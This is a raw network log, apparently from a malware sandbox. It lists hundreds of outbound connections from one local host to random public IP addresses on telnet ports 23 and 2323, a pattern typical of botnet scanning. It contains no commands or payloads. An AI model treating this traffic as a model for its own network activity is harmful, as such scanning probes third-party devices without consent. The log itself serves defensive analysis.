Feb 27, 2025 07:08:36.542649984 CET	25794	23	192.168.2.14	211.1.40.27
Feb 27, 2025 07:08:36.542653084 CET	25794	2323	192.168.2.14	159.178.23.251
Feb 27, 2025 07:08:36.542665958 CET	25794	23	192.168.2.14	148.27.21.253
Feb 27, 2025 07:08:36.542665958 CET	25794	23	192.168.2.14	93.127.119.251
Feb 27, 2025 07:08:36.542665958 CET	25794	23	192.168.2.14	84.174.237.117
Feb 27, 2025 07:08:36.542675018 CET	25794	23	192.168.2.14	190.236.150.116
Feb 27, 2025 07:08:36.542682886 CET	25794	23	192.168.2.14	57.2.11.215
Feb 27, 2025 07:08:36.542682886 CET	25794	23	192.168.2.14	124.238.175.194
Feb 27, 2025 07:08:36.542687893 CET	25794	23	192.168.2.14	79.200.168.234
Feb 27, 2025 07:08:36.542711020 CET	25794	23	192.168.2.14	151.184.176.35
Feb 27, 2025 07:08:36.542716980 CET	25794	23	192.168.2.14	34.222.105.245
Feb 27, 2025 07:08:36.542717934 CET	25794	23	192.168.2.14	189.116.91.74
Feb 27, 2025 07:08:36.542726040 CET	25794	23	192.168.2.14	177.205.27.253
Feb 27, 2025 07:08:36.542732000 CET	25794	23	192.168.2.14	223.122.185.182
Feb 27, 2025 07:08:36.542732000 CET	25794	23	192.168.2.14	81.233.47.162
Feb 27, 2025 07:08:36.542745113 CET	25794	23	192.168.2.14	140.4.85.212
Feb 27, 2025 07:08:36.542745113 CET	25794	23	192.168.2.14	82.102.65.92
Feb 27, 2025 07:08:36.542756081 CET	25794	23	192.168.2.14	58.43.184.50
Feb 27, 2025 07:08:36.542756081 CET	25794	23	192.168.2.14	144.37.186.79
Feb 27, 2025 07:08:36.542756081 CET	25794	23	192.168.2.14	150.245.145.37
Feb 27, 2025 07:08:36.542757988 CET	25794	23	192.168.2.14	78.255.237.91
Feb 27, 2025 07:08:36.542758942 CET	25794	2323	192.168.2.14	137.193.250.40
Feb 27, 2025 07:08:36.542772055 CET	25794	23	192.168.2.14	149.243.115.250
Feb 27, 2025 07:08:36.542774916 CET	25794	23	192.168.2.14	9.53.175.210
Feb 27, 2025 07:08:36.542774916 CET	25794	23	192.168.2.14	2.98.57.160
Feb 27, 2025 07:08:36.542782068 CET	25794	2323	192.168.2.14	156.246.77.88
Feb 27, 2025 07:08:36.542787075 CET	25794	23	192.168.2.14	83.139.1.177
Feb 27, 2025 07:08:36.542787075 CET	25794	23	192.168.2.14	174.221.241.144
Feb 27, 2025 07:08:36.542793989 CET	25794	23	192.168.2.14	164.186.86.153
Feb 27, 2025 07:08:36.542795897 CET	25794	23	192.168.2.14	46.11.149.43
Feb 27, 2025 07:08:36.542804956 CET	25794	23	192.168.2.14	160.118.109.68
Feb 27, 2025 07:08:36.542818069 CET	25794	2323	192.168.2.14	172.67.132.64
Feb 27, 2025 07:08:36.542820930 CET	25794	23	192.168.2.14	176.161.197.202
Feb 27, 2025 07:08:36.542818069 CET	25794	23	192.168.2.14	167.244.19.154
Feb 27, 2025 07:08:36.542818069 CET	25794	23	192.168.2.14	63.153.22.192
Feb 27, 2025 07:08:36.542824030 CET	25794	23	192.168.2.14	63.64.81.253
Feb 27, 2025 07:08:36.542828083 CET	25794	23	192.168.2.14	103.6.192.209
Feb 27, 2025 07:08:36.542829990 CET	25794	23	192.168.2.14	197.210.78.153
Feb 27, 2025 07:08:36.542835951 CET	25794	23	192.168.2.14	190.63.187.229
Feb 27, 2025 07:08:36.542835951 CET	25794	23	192.168.2.14	155.241.25.14
Feb 27, 2025 07:08:36.542843103 CET	25794	2323	192.168.2.14	183.2.178.209
Feb 27, 2025 07:08:36.542843103 CET	25794	23	192.168.2.14	192.106.168.8
Feb 27, 2025 07:08:36.542843103 CET	25794	23	192.168.2.14	132.24.89.121
Feb 27, 2025 07:08:36.542844057 CET	25794	23	192.168.2.14	186.183.113.207
Feb 27, 2025 07:08:36.542865992 CET	25794	23	192.168.2.14	155.136.6.57
Feb 27, 2025 07:08:36.542865992 CET	25794	23	192.168.2.14	93.124.86.27
Feb 27, 2025 07:08:36.542871952 CET	25794	23	192.168.2.14	148.70.78.41
Feb 27, 2025 07:08:36.542872906 CET	25794	23	192.168.2.14	150.39.252.135
Feb 27, 2025 07:08:36.542879105 CET	25794	23	192.168.2.14	220.128.211.110
Feb 27, 2025 07:08:36.542879105 CET	25794	2323	192.168.2.14	154.61.29.246
Feb 27, 2025 07:08:36.542881012 CET	25794	23	192.168.2.14	204.238.141.171
Feb 27, 2025 07:08:36.542891979 CET	25794	23	192.168.2.14	90.49.168.251
Feb 27, 2025 07:08:36.542891979 CET	25794	23	192.168.2.14	13.37.254.136
Feb 27, 2025 07:08:36.542900085 CET	25794	23	192.168.2.14	86.164.183.23
Feb 27, 2025 07:08:36.542900085 CET	25794	23	192.168.2.14	82.150.113.199
Feb 27, 2025 07:08:36.542901039 CET	25794	23	192.168.2.14	75.87.10.26
Feb 27, 2025 07:08:36.542901993 CET	25794	23	192.168.2.14	146.205.174.89
Feb 27, 2025 07:08:36.542917967 CET	25794	23	192.168.2.14	19.195.167.10
Feb 27, 2025 07:08:36.542918921 CET	25794	23	192.168.2.14	163.241.113.92
Feb 27, 2025 07:08:36.542921066 CET	25794	23	192.168.2.14	162.215.20.31
Feb 27, 2025 07:08:36.542931080 CET	25794	2323	192.168.2.14	5.203.60.135
Feb 27, 2025 07:08:36.542944908 CET	25794	23	192.168.2.14	34.161.83.19
Feb 27, 2025 07:08:36.542946100 CET	25794	23	192.168.2.14	58.56.161.251
Feb 27, 2025 07:08:36.542946100 CET	25794	23	192.168.2.14	169.143.234.119
Feb 27, 2025 07:08:36.542946100 CET	25794	23	192.168.2.14	101.65.81.69
Feb 27, 2025 07:08:36.542946100 CET	25794	23	192.168.2.14	159.182.160.101
Feb 27, 2025 07:08:36.542954922 CET	25794	23	192.168.2.14	91.115.29.160
Feb 27, 2025 07:08:36.542954922 CET	25794	23	192.168.2.14	58.250.214.189
Feb 27, 2025 07:08:36.542954922 CET	25794	23	192.168.2.14	89.170.81.147
Feb 27, 2025 07:08:36.542968035 CET	25794	23	192.168.2.14	164.0.135.85
Feb 27, 2025 07:08:36.542968035 CET	25794	2323	192.168.2.14	24.25.103.51
Feb 27, 2025 07:08:36.542978048 CET	25794	23	192.168.2.14	164.191.50.241
Feb 27, 2025 07:08:36.542979956 CET	25794	23	192.168.2.14	97.99.203.219
Feb 27, 2025 07:08:36.542979956 CET	25794	23	192.168.2.14	123.152.86.227
Feb 27, 2025 07:08:36.542984962 CET	25794	23	192.168.2.14	201.146.237.221
Feb 27, 2025 07:08:36.542987108 CET	25794	23	192.168.2.14	172.67.188.203
Feb 27, 2025 07:08:36.543015957 CET	25794	23	192.168.2.14	175.78.183.175
Feb 27, 2025 07:08:36.543015957 CET	25794	23	192.168.2.14	144.134.3.128
Feb 27, 2025 07:08:36.543016911 CET	25794	23	192.168.2.14	189.37.14.30
Feb 27, 2025 07:08:36.543028116 CET	25794	23	192.168.2.14	195.147.169.159
Feb 27, 2025 07:08:36.543030977 CET	25794	2323	192.168.2.14	104.200.215.237
Feb 27, 2025 07:08:36.543034077 CET	25794	23	192.168.2.14	68.121.90.58
Feb 27, 2025 07:08:36.543032885 CET	25794	23	192.168.2.14	1.148.3.216
Feb 27, 2025 07:08:36.543036938 CET	25794	23	192.168.2.14	138.65.46.173
Feb 27, 2025 07:08:36.543036938 CET	25794	23	192.168.2.14	103.195.43.82
Feb 27, 2025 07:08:36.543036938 CET	25794	2323	192.168.2.14	96.141.252.127
Feb 27, 2025 07:08:36.543034077 CET	25794	23	192.168.2.14	195.155.31.114
Feb 27, 2025 07:08:36.543039083 CET	25794	23	192.168.2.14	90.11.120.249
Feb 27, 2025 07:08:36.543042898 CET	25794	23	192.168.2.14	31.99.6.181
Feb 27, 2025 07:08:36.543045998 CET	25794	23	192.168.2.14	52.6.94.137
Feb 27, 2025 07:08:36.543044090 CET	25794	23	192.168.2.14	184.75.163.244
Feb 27, 2025 07:08:36.543045998 CET	25794	23	192.168.2.14	52.36.236.78
Feb 27, 2025 07:08:36.543045998 CET	25794	23	192.168.2.14	165.50.197.159
Feb 27, 2025 07:08:36.543044090 CET	25794	23	192.168.2.14	148.112.129.16
Feb 27, 2025 07:08:36.543045998 CET	25794	23	192.168.2.14	106.202.168.123
Feb 27, 2025 07:08:36.543044090 CET	25794	23	192.168.2.14	88.229.181.166
Feb 27, 2025 07:08:36.543044090 CET	25794	23	192.168.2.14	170.226.144.248
Feb 27, 2025 07:08:36.543061018 CET	25794	23	192.168.2.14	194.83.197.214
Feb 27, 2025 07:08:36.543061018 CET	25794	23	192.168.2.14	146.160.45.120
Feb 27, 2025 07:08:36.543066978 CET	25794	23	192.168.2.14	181.205.93.171
Feb 27, 2025 07:08:36.543066978 CET	25794	2323	192.168.2.14	86.170.16.68
Feb 27, 2025 07:08:36.543067932 CET	25794	23	192.168.2.14	117.75.143.160
Feb 27, 2025 07:08:36.543073893 CET	25794	23	192.168.2.14	188.99.116.69
Feb 27, 2025 07:08:36.543083906 CET	25794	23	192.168.2.14	162.126.2.53
Feb 27, 2025 07:08:36.543092012 CET	25794	23	192.168.2.14	179.181.216.101
Feb 27, 2025 07:08:36.543092012 CET	25794	23	192.168.2.14	197.159.254.98
Feb 27, 2025 07:08:36.543092012 CET	25794	23	192.168.2.14	124.9.230.44
Feb 27, 2025 07:08:36.543102026 CET	25794	23	192.168.2.14	182.81.63.38
Feb 27, 2025 07:08:36.543118000 CET	25794	23	192.168.2.14	128.109.157.173
Feb 27, 2025 07:08:36.543118000 CET	25794	23	192.168.2.14	52.137.39.149
Feb 27, 2025 07:08:36.543123007 CET	25794	23	192.168.2.14	132.118.35.142
Feb 27, 2025 07:08:36.543123960 CET	25794	2323	192.168.2.14	91.4.12.59
Feb 27, 2025 07:08:36.543124914 CET	25794	23	192.168.2.14	97.124.6.22
Feb 27, 2025 07:08:36.543135881 CET	25794	23	192.168.2.14	94.142.39.24
Feb 27, 2025 07:08:36.543139935 CET	25794	23	192.168.2.14	136.59.14.139
Feb 27, 2025 07:08:36.543148994 CET	25794	23	192.168.2.14	177.176.255.58
Feb 27, 2025 07:08:36.543149948 CET	25794	23	192.168.2.14	51.30.244.151
Feb 27, 2025 07:08:36.543157101 CET	25794	23	192.168.2.14	119.209.201.192
Feb 27, 2025 07:08:36.543162107 CET	25794	2323	192.168.2.14	123.58.196.4
Feb 27, 2025 07:08:36.543167114 CET	25794	23	192.168.2.14	84.165.221.5
Feb 27, 2025 07:08:36.543167114 CET	25794	23	192.168.2.14	217.158.106.211
Feb 27, 2025 07:08:36.543167114 CET	25794	23	192.168.2.14	91.144.90.170
Feb 27, 2025 07:08:36.543174982 CET	25794	23	192.168.2.14	105.204.250.191
Feb 27, 2025 07:08:36.543175936 CET	25794	23	192.168.2.14	165.112.26.60
Feb 27, 2025 07:08:36.543179035 CET	25794	23	192.168.2.14	193.227.189.169
Feb 27, 2025 07:08:36.543178082 CET	25794	23	192.168.2.14	50.45.33.172
Feb 27, 2025 07:08:36.543193102 CET	25794	23	192.168.2.14	178.81.175.99
Feb 27, 2025 07:08:36.543193102 CET	25794	23	192.168.2.14	27.149.51.227
Feb 27, 2025 07:08:36.543200970 CET	25794	23	192.168.2.14	137.190.153.138
Feb 27, 2025 07:08:36.543215990 CET	25794	23	192.168.2.14	162.129.55.143
Feb 27, 2025 07:08:36.543215990 CET	25794	23	192.168.2.14	217.127.1.90
Feb 27, 2025 07:08:36.543215990 CET	25794	23	192.168.2.14	222.190.56.3
Feb 27, 2025 07:08:36.543220997 CET	25794	2323	192.168.2.14	195.32.43.73
Feb 27, 2025 07:08:36.543224096 CET	25794	23	192.168.2.14	108.117.14.67
Feb 27, 2025 07:08:36.543232918 CET	25794	23	192.168.2.14	86.97.113.150
Feb 27, 2025 07:08:36.543234110 CET	25794	23	192.168.2.14	175.146.187.38
Feb 27, 2025 07:08:36.543241024 CET	25794	23	192.168.2.14	208.76.253.222
Feb 27, 2025 07:08:36.543241024 CET	25794	23	192.168.2.14	150.45.241.43
Feb 27, 2025 07:08:36.543246031 CET	25794	23	192.168.2.14	119.14.13.247
Feb 27, 2025 07:08:36.543258905 CET	25794	23	192.168.2.14	110.33.37.149
Feb 27, 2025 07:08:36.543262959 CET	25794	2323	192.168.2.14	13.138.137.230
Feb 27, 2025 07:08:36.543273926 CET	25794	23	192.168.2.14	123.216.219.188
Feb 27, 2025 07:08:36.543275118 CET	25794	23	192.168.2.14	87.166.148.45
Feb 27, 2025 07:08:36.543292999 CET	25794	23	192.168.2.14	9.11.208.2
Feb 27, 2025 07:08:36.543292999 CET	25794	23	192.168.2.14	207.132.200.49
Feb 27, 2025 07:08:36.543298960 CET	25794	23	192.168.2.14	201.63.163.131
Feb 27, 2025 07:08:36.543298960 CET	25794	23	192.168.2.14	189.124.11.126
Feb 27, 2025 07:08:36.543329954 CET	25794	23	192.168.2.14	181.250.115.57
Feb 27, 2025 07:08:36.543329954 CET	25794	2323	192.168.2.14	89.187.177.210
Feb 27, 2025 07:08:36.543337107 CET	25794	23	192.168.2.14	57.23.142.170
Feb 27, 2025 07:08:36.543337107 CET	25794	23	192.168.2.14	113.37.35.164
Feb 27, 2025 07:08:36.543346882 CET	25794	23	192.168.2.14	108.104.161.146
Feb 27, 2025 07:08:36.543348074 CET	25794	23	192.168.2.14	111.28.34.7
Feb 27, 2025 07:08:36.543349981 CET	25794	23	192.168.2.14	41.43.204.123
Feb 27, 2025 07:08:36.543359041 CET	25794	23	192.168.2.14	167.222.11.132
Feb 27, 2025 07:08:36.543378115 CET	25794	23	192.168.2.14	131.208.196.6
Feb 27, 2025 07:08:36.543380976 CET	25794	23	192.168.2.14	117.51.163.99
Feb 27, 2025 07:08:36.543389082 CET	25794	23	192.168.2.14	105.24.97.252
Feb 27, 2025 07:08:36.543391943 CET	25794	23	192.168.2.14	140.172.208.37
Feb 27, 2025 07:08:36.543392897 CET	25794	23	192.168.2.14	45.208.18.255
Feb 27, 2025 07:08:36.543409109 CET	25794	2323	192.168.2.14	152.251.166.144
Feb 27, 2025 07:08:36.543416977 CET	25794	23	192.168.2.14	196.205.159.247
Feb 27, 2025 07:08:36.543416977 CET	25794	23	192.168.2.14	34.180.127.180
Feb 27, 2025 07:08:36.543422937 CET	25794	23	192.168.2.14	211.176.92.79
Feb 27, 2025 07:08:36.543438911 CET	25794	23	192.168.2.14	153.30.86.90
Feb 27, 2025 07:08:36.543443918 CET	25794	23	192.168.2.14	2.192.253.57
Feb 27, 2025 07:08:36.543445110 CET	25794	23	192.168.2.14	139.17.109.20
Feb 27, 2025 07:08:36.543453932 CET	25794	23	192.168.2.14	35.214.80.179
Feb 27, 2025 07:08:36.543462038 CET	25794	23	192.168.2.14	122.124.157.177
Feb 27, 2025 07:08:36.543462038 CET	25794	23	192.168.2.14	128.131.59.55
Feb 27, 2025 07:08:36.543471098 CET	25794	23	192.168.2.14	83.104.148.251
Feb 27, 2025 07:08:36.543473959 CET	25794	23	192.168.2.14	121.171.67.21
Feb 27, 2025 07:08:36.543473959 CET	25794	2323	192.168.2.14	132.201.33.9
Feb 27, 2025 07:08:36.543493032 CET	25794	23	192.168.2.14	194.57.144.55
Feb 27, 2025 07:08:36.543493986 CET	25794	23	192.168.2.14	183.234.23.30
Feb 27, 2025 07:08:36.543500900 CET	25794	23	192.168.2.14	130.142.112.126
Feb 27, 2025 07:08:36.543510914 CET	25794	23	192.168.2.14	187.130.38.226
Feb 27, 2025 07:08:36.543520927 CET	25794	23	192.168.2.14	157.104.210.174
Feb 27, 2025 07:08:36.543520927 CET	25794	23	192.168.2.14	96.130.36.91
Feb 27, 2025 07:08:36.543528080 CET	25794	23	192.168.2.14	53.95.83.160
Feb 27, 2025 07:08:36.543529987 CET	25794	2323	192.168.2.14	156.203.124.93
Feb 27, 2025 07:08:36.543543100 CET	25794	23	192.168.2.14	41.85.126.103
Feb 27, 2025 07:08:36.543546915 CET	25794	23	192.168.2.14	220.23.96.2
Feb 27, 2025 07:08:36.543562889 CET	25794	23	192.168.2.14	90.176.231.217
Feb 27, 2025 07:08:36.543562889 CET	25794	23	192.168.2.14	154.85.116.93
Feb 27, 2025 07:08:36.543569088 CET	25794	23	192.168.2.14	182.159.251.186
Feb 27, 2025 07:08:36.543613911 CET	25794	23	192.168.2.14	2.184.31.156
Feb 27, 2025 07:08:36.543617010 CET	25794	23	192.168.2.14	186.120.153.139
Feb 27, 2025 07:08:36.543617010 CET	25794	23	192.168.2.14	38.155.34.178
Feb 27, 2025 07:08:36.543618917 CET	25794	23	192.168.2.14	63.138.130.222
Feb 27, 2025 07:08:36.543618917 CET	25794	23	192.168.2.14	76.246.47.84
Feb 27, 2025 07:08:36.543618917 CET	25794	23	192.168.2.14	179.211.91.74
Feb 27, 2025 07:08:36.543625116 CET	25794	2323	192.168.2.14	99.72.248.183
Feb 27, 2025 07:08:36.543625116 CET	25794	23	192.168.2.14	130.26.220.37
Feb 27, 2025 07:08:36.543625116 CET	25794	23	192.168.2.14	37.220.50.86
Feb 27, 2025 07:08:36.543625116 CET	25794	23	192.168.2.14	74.78.36.185
Feb 27, 2025 07:08:36.543652058 CET	25794	2323	192.168.2.14	95.201.32.205
Feb 27, 2025 07:08:36.543653011 CET	25794	23	192.168.2.14	179.46.222.71
Feb 27, 2025 07:08:36.543653011 CET	25794	2323	192.168.2.14	152.128.9.23
Feb 27, 2025 07:08:36.543653011 CET	25794	23	192.168.2.14	69.179.49.206
Feb 27, 2025 07:08:36.543653965 CET	25794	23	192.168.2.14	176.142.203.89
Feb 27, 2025 07:08:36.543653965 CET	25794	23	192.168.2.14	60.141.67.140
Feb 27, 2025 07:08:36.543653965 CET	25794	23	192.168.2.14	168.55.176.58
Feb 27, 2025 07:08:36.543654919 CET	25794	23	192.168.2.14	209.149.136.253
Feb 27, 2025 07:08:36.543656111 CET	25794	23	192.168.2.14	187.207.135.148
Feb 27, 2025 07:08:36.543654919 CET	25794	23	192.168.2.14	96.133.251.192
Feb 27, 2025 07:08:36.543654919 CET	25794	23	192.168.2.14	8.43.218.174
Feb 27, 2025 07:08:36.543656111 CET	25794	23	192.168.2.14	74.143.231.136
Feb 27, 2025 07:08:36.543654919 CET	25794	23	192.168.2.14	99.249.125.170
Feb 27, 2025 07:08:36.543663025 CET	25794	23	192.168.2.14	189.206.117.212
Feb 27, 2025 07:08:36.543663025 CET	25794	23	192.168.2.14	173.25.200.249
Feb 27, 2025 07:08:36.543663979 CET	25794	23	192.168.2.14	206.54.105.224
Feb 27, 2025 07:08:36.543663979 CET	25794	23	192.168.2.14	219.61.20.235
Feb 27, 2025 07:08:36.543663979 CET	25794	23	192.168.2.14	164.14.26.41
Feb 27, 2025 07:08:36.543663979 CET	25794	2323	192.168.2.14	188.183.172.158
Feb 27, 2025 07:08:36.543678045 CET	25794	23	192.168.2.14	123.91.253.43
Feb 27, 2025 07:08:36.543678045 CET	25794	2323	192.168.2.14	168.30.76.238
Feb 27, 2025 07:08:36.543678045 CET	25794	23	192.168.2.14	74.51.112.85
Feb 27, 2025 07:08:36.543678045 CET	25794	23	192.168.2.14	48.53.227.147
Feb 27, 2025 07:08:36.543678045 CET	25794	23	192.168.2.14	219.220.43.142
Feb 27, 2025 07:08:36.543678999 CET	25794	23	192.168.2.14	39.161.232.189
Feb 27, 2025 07:08:36.543678045 CET	25794	23	192.168.2.14	14.112.103.255
Feb 27, 2025 07:08:36.543678999 CET	25794	23	192.168.2.14	87.41.7.135
Feb 27, 2025 07:08:36.543679953 CET	25794	23	192.168.2.14	42.8.42.140
Feb 27, 2025 07:08:36.543678045 CET	25794	23	192.168.2.14	164.24.223.216
Feb 27, 2025 07:08:36.543679953 CET	25794	23	192.168.2.14	159.65.201.114
Feb 27, 2025 07:08:36.543679953 CET	25794	23	192.168.2.14	31.139.7.100
Feb 27, 2025 07:08:36.543679953 CET	25794	23	192.168.2.14	24.138.11.20
Feb 27, 2025 07:08:36.543679953 CET	25794	23	192.168.2.14	50.126.147.193
Feb 27, 2025 07:08:36.543679953 CET	25794	23	192.168.2.14	195.71.242.240
Feb 27, 2025 07:08:36.543679953 CET	25794	23	192.168.2.14	141.192.158.162
Feb 27, 2025 07:08:36.543704033 CET	25794	23	192.168.2.14	38.118.104.133
Feb 27, 2025 07:08:36.543704987 CET	25794	23	192.168.2.14	51.231.251.204
Feb 27, 2025 07:08:36.543704033 CET	25794	23	192.168.2.14	141.181.164.193
Feb 27, 2025 07:08:36.543704987 CET	25794	23	192.168.2.14	125.176.78.187
Feb 27, 2025 07:08:36.543704033 CET	25794	23	192.168.2.14	156.161.117.210
Feb 27, 2025 07:08:36.543704987 CET	25794	23	192.168.2.14	70.192.4.210
Feb 27, 2025 07:08:36.543704987 CET	25794	2323	192.168.2.14	98.62.32.48
Feb 27, 2025 07:08:36.543715000 CET	25794	23	192.168.2.14	72.123.108.90
Feb 27, 2025 07:08:36.543704033 CET	25794	23	192.168.2.14	9.232.102.166
Feb 27, 2025 07:08:36.543704987 CET	25794	23	192.168.2.14	81.199.253.225
Feb 27, 2025 07:08:36.543715000 CET	25794	23	192.168.2.14	90.225.242.76
Feb 27, 2025 07:08:36.543709993 CET	25794	23	192.168.2.14	49.202.255.14
Feb 27, 2025 07:08:36.543715000 CET	25794	23	192.168.2.14	108.220.171.146
Feb 27, 2025 07:08:36.543708086 CET	25794	23	192.168.2.14	219.23.125.121
Feb 27, 2025 07:08:36.543715000 CET	25794	23	192.168.2.14	185.123.189.248
Feb 27, 2025 07:08:36.543708086 CET	25794	23	192.168.2.14	92.96.19.22
Feb 27, 2025 07:08:36.543715000 CET	25794	23	192.168.2.14	222.110.111.92
Feb 27, 2025 07:08:36.543721914 CET	25794	23	192.168.2.14	90.217.138.146
Feb 27, 2025 07:08:36.543725014 CET	25794	23	192.168.2.14	192.119.52.182
Feb 27, 2025 07:08:36.543721914 CET	25794	23	192.168.2.14	105.85.30.65
Feb 27, 2025 07:08:36.543709993 CET	25794	23	192.168.2.14	62.99.152.161
Feb 27, 2025 07:08:36.543710947 CET	25794	23	192.168.2.14	175.191.241.205
Feb 27, 2025 07:08:36.543728113 CET	25794	23	192.168.2.14	123.115.165.188
Feb 27, 2025 07:08:36.543721914 CET	25794	23	192.168.2.14	83.197.151.198
Feb 27, 2025 07:08:36.543725014 CET	25794	23	192.168.2.14	43.234.40.110
Feb 27, 2025 07:08:36.543710947 CET	25794	23	192.168.2.14	87.21.57.108
Feb 27, 2025 07:08:36.543725967 CET	25794	23	192.168.2.14	136.207.221.129
Feb 27, 2025 07:08:36.543732882 CET	25794	2323	192.168.2.14	185.177.90.226
Feb 27, 2025 07:08:36.543725967 CET	25794	2323	192.168.2.14	78.195.180.81
Feb 27, 2025 07:08:36.543732882 CET	25794	2323	192.168.2.14	25.134.81.184
Feb 27, 2025 07:08:36.543725967 CET	25794	23	192.168.2.14	193.192.146.177
Feb 27, 2025 07:08:36.543735981 CET	25794	23	192.168.2.14	74.243.119.170
Feb 27, 2025 07:08:36.543725014 CET	25794	23	192.168.2.14	73.126.220.193
Feb 27, 2025 07:08:36.543735981 CET	25794	23	192.168.2.14	92.24.168.180
Feb 27, 2025 07:08:36.543728113 CET	25794	23	192.168.2.14	167.45.14.45
Feb 27, 2025 07:08:36.543708086 CET	25794	23	192.168.2.14	19.22.169.119
Feb 27, 2025 07:08:36.543740988 CET	25794	23	192.168.2.14	39.110.129.181
Feb 27, 2025 07:08:36.543732882 CET	25794	23	192.168.2.14	116.209.49.111
Feb 27, 2025 07:08:36.543708086 CET	25794	23	192.168.2.14	188.233.115.173
Feb 27, 2025 07:08:36.543740988 CET	25794	23	192.168.2.14	152.119.36.192
Feb 27, 2025 07:08:36.543732882 CET	25794	23	192.168.2.14	96.132.196.67
Feb 27, 2025 07:08:36.543725967 CET	25794	23	192.168.2.14	192.35.109.144
Feb 27, 2025 07:08:36.543725967 CET	25794	23	192.168.2.14	130.246.97.19
Feb 27, 2025 07:08:36.543745995 CET	25794	23	192.168.2.14	185.245.84.22
Feb 27, 2025 07:08:36.543725967 CET	25794	23	192.168.2.14	187.40.102.139
Feb 27, 2025 07:08:36.543745995 CET	25794	23	192.168.2.14	192.54.202.192
Feb 27, 2025 07:08:36.543764114 CET	25794	2323	192.168.2.14	217.23.230.98
Feb 27, 2025 07:08:36.543764114 CET	25794	23	192.168.2.14	207.29.45.67
Feb 27, 2025 07:08:36.543764114 CET	25794	23	192.168.2.14	2.41.163.55
Feb 27, 2025 07:08:36.543764114 CET	25794	23	192.168.2.14	4.153.97.164
Feb 27, 2025 07:08:36.543770075 CET	25794	23	192.168.2.14	202.212.253.49
Feb 27, 2025 07:08:36.543780088 CET	25794	23	192.168.2.14	126.44.187.145
Feb 27, 2025 07:08:36.543780088 CET	25794	23	192.168.2.14	58.85.125.169
Feb 27, 2025 07:08:36.543790102 CET	25794	23	192.168.2.14	150.223.108.56
Feb 27, 2025 07:08:36.543795109 CET	25794	23	192.168.2.14	18.153.157.193
Feb 27, 2025 07:08:36.543795109 CET	25794	23	192.168.2.14	149.172.144.9
Feb 27, 2025 07:08:36.543817043 CET	25794	23	192.168.2.14	136.136.190.217
Feb 27, 2025 07:08:36.543817043 CET	25794	23	192.168.2.14	78.200.20.54
Feb 27, 2025 07:08:36.543817043 CET	25794	23	192.168.2.14	207.77.237.187
Feb 27, 2025 07:08:36.543824911 CET	25794	23	192.168.2.14	84.143.219.105
Feb 27, 2025 07:08:36.543824911 CET	25794	23	192.168.2.14	89.159.241.240
Feb 27, 2025 07:08:36.543826103 CET	25794	23	192.168.2.14	86.172.81.136
Feb 27, 2025 07:08:36.543834925 CET	25794	2323	192.168.2.14	19.223.246.125
Feb 27, 2025 07:08:36.543834925 CET	25794	23	192.168.2.14	123.75.108.47
Feb 27, 2025 07:08:36.543834925 CET	25794	23	192.168.2.14	218.86.35.45
Feb 27, 2025 07:08:36.543834925 CET	25794	23	192.168.2.14	88.106.194.181
Feb 27, 2025 07:08:36.543843031 CET	25794	23	192.168.2.14	20.116.18.1
Feb 27, 2025 07:08:36.543853045 CET	25794	23	192.168.2.14	27.131.100.16
Feb 27, 2025 07:08:36.543853045 CET	25794	23	192.168.2.14	117.222.77.55
Feb 27, 2025 07:08:36.543864965 CET	25794	2323	192.168.2.14	192.97.13.32
Feb 27, 2025 07:08:36.543870926 CET	25794	23	192.168.2.14	175.209.47.177
Feb 27, 2025 07:08:36.543870926 CET	25794	23	192.168.2.14	201.213.60.196
Feb 27, 2025 07:08:36.543874979 CET	25794	23	192.168.2.14	222.138.20.163
Feb 27, 2025 07:08:36.543884039 CET	25794	23	192.168.2.14	205.108.117.11
Feb 27, 2025 07:08:36.543891907 CET	25794	23	192.168.2.14	5.71.112.119
Feb 27, 2025 07:08:36.543891907 CET	25794	23	192.168.2.14	193.221.98.14
Feb 27, 2025 07:08:36.543896914 CET	25794	23	192.168.2.14	39.112.198.85
Feb 27, 2025 07:08:36.543900967 CET	25794	23	192.168.2.14	87.4.76.108
Feb 27, 2025 07:08:36.543920040 CET	25794	2323	192.168.2.14	20.207.153.231
Feb 27, 2025 07:08:36.543920994 CET	25794	23	192.168.2.14	157.51.105.55
Feb 27, 2025 07:08:36.543920994 CET	25794	23	192.168.2.14	122.243.252.137
Feb 27, 2025 07:08:36.543920994 CET	25794	23	192.168.2.14	4.243.209.180
Feb 27, 2025 07:08:36.543925047 CET	25794	23	192.168.2.14	20.132.189.217
Feb 27, 2025 07:08:36.543929100 CET	25794	23	192.168.2.14	173.57.104.253
Feb 27, 2025 07:08:36.543946028 CET	25794	23	192.168.2.14	65.188.160.238
Feb 27, 2025 07:08:36.543947935 CET	25794	23	192.168.2.14	159.45.178.236
Feb 27, 2025 07:08:36.543952942 CET	25794	23	192.168.2.14	13.254.109.65
Feb 27, 2025 07:08:36.543953896 CET	25794	23	192.168.2.14	84.6.217.168
Feb 27, 2025 07:08:36.543956995 CET	25794	23	192.168.2.14	156.72.36.108
Feb 27, 2025 07:08:36.543956995 CET	25794	23	192.168.2.14	161.161.208.21
Feb 27, 2025 07:08:36.543957949 CET	25794	2323	192.168.2.14	200.167.97.45
Feb 27, 2025 07:08:36.543965101 CET	25794	23	192.168.2.14	212.145.28.112
Feb 27, 2025 07:08:36.543965101 CET	25794	23	192.168.2.14	90.158.183.74
Feb 27, 2025 07:08:36.543982983 CET	25794	23	192.168.2.14	145.42.251.154
Feb 27, 2025 07:08:36.543992043 CET	25794	23	192.168.2.14	67.78.89.124
Feb 27, 2025 07:08:36.543992043 CET	25794	23	192.168.2.14	60.79.26.54
Feb 27, 2025 07:08:36.543994904 CET	25794	23	192.168.2.14	203.53.31.142
Feb 27, 2025 07:08:36.543994904 CET	25794	23	192.168.2.14	88.113.113.21
Feb 27, 2025 07:08:36.544006109 CET	25794	23	192.168.2.14	64.55.53.206
Feb 27, 2025 07:08:36.544011116 CET	25794	2323	192.168.2.14	80.181.246.120
Feb 27, 2025 07:08:36.544011116 CET	25794	23	192.168.2.14	73.104.41.249
Feb 27, 2025 07:08:36.544011116 CET	25794	23	192.168.2.14	208.254.167.137
Feb 27, 2025 07:08:36.544035912 CET	25794	23	192.168.2.14	200.71.154.180
Feb 27, 2025 07:08:36.544034958 CET	25794	23	192.168.2.14	62.218.65.186
Feb 27, 2025 07:08:36.544037104 CET	25794	23	192.168.2.14	165.138.48.171
Feb 27, 2025 07:08:36.544034958 CET	25794	23	192.168.2.14	218.251.73.148
Feb 27, 2025 07:08:36.544039011 CET	25794	23	192.168.2.14	140.42.97.174
Feb 27, 2025 07:08:36.544039011 CET	25794	23	192.168.2.14	216.70.174.83
Feb 27, 2025 07:08:36.544045925 CET	25794	23	192.168.2.14	161.96.214.157
